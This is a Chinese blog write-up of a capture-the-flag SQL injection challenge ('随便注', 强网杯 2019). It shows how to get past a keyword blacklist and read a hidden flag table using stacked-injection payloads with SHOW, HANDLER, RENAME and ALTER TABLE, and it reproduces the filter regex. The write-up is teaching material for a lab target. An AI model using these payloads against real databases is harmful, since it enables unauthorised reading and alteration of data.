

BUU sql注入-[强网杯 2019]随便注

原创

[lvyyyyy](#) 于 2021-10-15 16:44:46 发布 1244 收藏

分类专栏: [BUUCTF writeup](#) 文章标签: [sql web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/lvyyyyy1/article/details/120784950>

版权



[BUUCTF writeup](#) 专栏收录该内容

10 篇文章 0 订阅

订阅专栏

一、题目

题目 [解题快手榜](#) ×

[强网杯 2019]随便注

1

请点击启动靶机。

靶机信息

剩余时间: 10189s

<http://46ae8064-fee1-4b91-b60a-9b34ce574b77.node4.buuoj.cn:81>

[销毁靶机](#) [靶机续期](#) [已解锁](#)

Flag [提交](#)

CSDN @lvyyyyy



姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

CSDN @1vyyyyyy

一进来先看看能否用构造单引号闭合：



取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1

CSDN @1vyyyyyy

发现提示报错，可以操作了

二、解题

方法一：**handler**命令打开

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

CSDN @1vyyyyyy

姿势:

error 1054 : Unknown column '3' in 'order clause'

CSDN @1vyyyyyy

先查列数，这里是输入2没报错，但输入3报错了，所以是2列

试试联合查询：

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

CSDN @1vyyyyyy

回显信息是

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

`$inject`是我们在输入框中提交的变量名，`preg_match()`在这里的作用是检测关键字，猜测会被过滤掉，其中联合查询要用的`select,where`都不行，换个思路

这个时候想到堆叠注入

sql命令中，我们通常用`;`来表示一句命令的结束，那么在多个命令语句中间插入`;`，这些命令就可以一起执行，而联合查询中无论是`union`还是`union all`，能执行的语句类型都是有限的

直接查表

```
1';show tables;#
```

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

```
array(1) {  
  [0]=>  
    string(16) "1919810931114514"  
}
```

```
array(1) {  
  [0]=>  
    string(5) "words"  
}
```

CSDN @1vyyyyyy

这一长串数字非常可疑，把里面的列show出来看看

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

```
array(6) {  
  [0]=>  
    string(4) "flag"  
  [1]=>  
    string(12) "varchar(100)"  
  [2]=>  
    string(2) "NO"  
  [3]=>  
    string(0) ""  
  [4]=>  
    NULL  
  [5]=>  
    string(0) ""  
}
```

CSDN @1vyyyyyy

果然有flag

现在我们只需要打开这个flag

在MySQL中有一种命令叫 **handler**

通过HANDLER tbl_name OPEN打开一张表，无返回结果，实际上我们在这里声明了一个名为tbl_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行，通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

handler命令与select命令区别在于，前者一次只返回一行，而后者会返回所有相关结果

那么在这里直接构造payload

```
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
```

姿势: `1';handler`1919810931114!`

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"  
}
```

```
array(1) {  
  [0]=>  
  string(42) "flag{f7177420-f320-4805-860f-2039ebdef9dd}"  
}
```

CSDN @1vyyyyyy

直接爆出flag

方法二：用 `alert` 和 `rename` 命令改名后查询

`rename` 用于修改 table 的名称

`alter` 用于修改表中字段的属性

参考：[SQL Injection8\(堆叠注入\)——强网杯2019随便注_kid的博客-CSDN博客](#)
[SQL Injection8\(堆叠注入\)——强网杯2019随便注前言](#)前面参加强网杯线上赛，亲身体会了一把ctf从入门到入土，从打ctf变成被ctf打...这里结合里面的题来对里面的知识点进行一个学习总结随便注是一道sql注入题，因为过滤规则十分强大，所以很难...这里会用到堆叠注入的知识，堆叠注入前面有所了解，觉得并不难，所以也没练习过，但做这道题的时候就又些懵了。堆叠注入原理在SQL中，...https://blog.csdn.net/qq_26406447/article/details/90643951

1. 将已有的表 `words` 改名为 `words1`

2. 表 `1919810931114514` 改名为 `words`

3. 将新的表 `words` 中的列 `flag` 改为 `id`

构造payload

```
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `
```

最后用 `1' or 1=1 #` 查询就得到flag

三、总结

- 注入语句中的关键字被形如 `preg_match()`、`mb_substr()`、`mb_subpos()` 等函数检测过滤后需要考虑其他方法，如堆叠注入，布尔盲注，时间盲注等
- 注入大致步骤：检测能否注入->检测注入类型->order by查列数->show databases查库->show tables查表->show columns from TABLE_NAME查字段->select或handler开文件
- 多看大佬的文章!!!